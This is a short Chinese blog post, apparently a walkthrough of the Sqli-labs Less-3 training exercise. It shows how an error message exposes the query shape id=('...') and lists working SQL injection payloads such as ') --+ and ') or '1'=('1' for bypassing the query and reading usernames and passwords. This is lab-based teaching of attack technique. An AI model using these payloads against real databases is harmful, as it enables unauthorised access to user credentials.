您的位置:首页 > 数据库

Sqli-labs less 3

2016-08-11 23:05 489 查看

Less-3

我们使用?id='





注入代码后,我们得到像这样的一个错误:

MySQL server version for the right syntax to use near "") LIMIT 0,1′ at line 1


这里它意味着,开发者使用的查询是:

Select login_name, select password from table where id= ('our input here')


所以我们再用这样的代码来进行注入:

?id=1′) –-+






这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。

在源代码中的SQL查询语句,31行:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";


可以成功注入的有:

') or '1'=('1'


) or 1=1 --+


其余的payload与less1中一直,只需要将less1中的 ' 添加) 即')
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: